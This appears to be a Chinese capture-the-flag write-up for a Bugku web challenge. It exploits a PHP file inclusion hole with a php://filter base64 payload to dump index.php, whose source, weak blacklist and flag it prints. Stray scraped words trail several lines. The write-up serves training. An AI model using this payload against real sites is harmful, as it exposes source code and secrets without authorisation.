【Writeup】Bugku-Web-flag在index里

 

click me, no? 那固然要click啦php

注意地址栏,出现了?file=show.php,说明出现了文件包含漏洞,题目又提示flag在index中,因此用php://伪协议查看index.php内容编码

即便用php://filter也不能直接在页面中读取resource=index.php的内容,此处要对php进行一下base64编码(还有其余方式好比ROT13能够使用但base64比较容易解码)spa

先来看一下php://filter的用法:code

所以制造payload:?file=php://filter/read=convert.base64-encode/resource=index.phpblog

页面返回了一段base64:ci

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==input

放到Cyberchef中解码,获得一段php代码(就是index.php的内容)it

 1 <?php
 2     error_reporting(0);
 3     if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
 4     $file=$_GET['file'];
 5     if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
 6         echo "Oh no!";
 7         exit();
 8     }
 9     include($file); 
10 //flag:flag{edulcni_elif_lacol_si_siht}
11 ?>

不须要认真看代码,由于flag就在注释中base64

相关文章
相关标签/搜索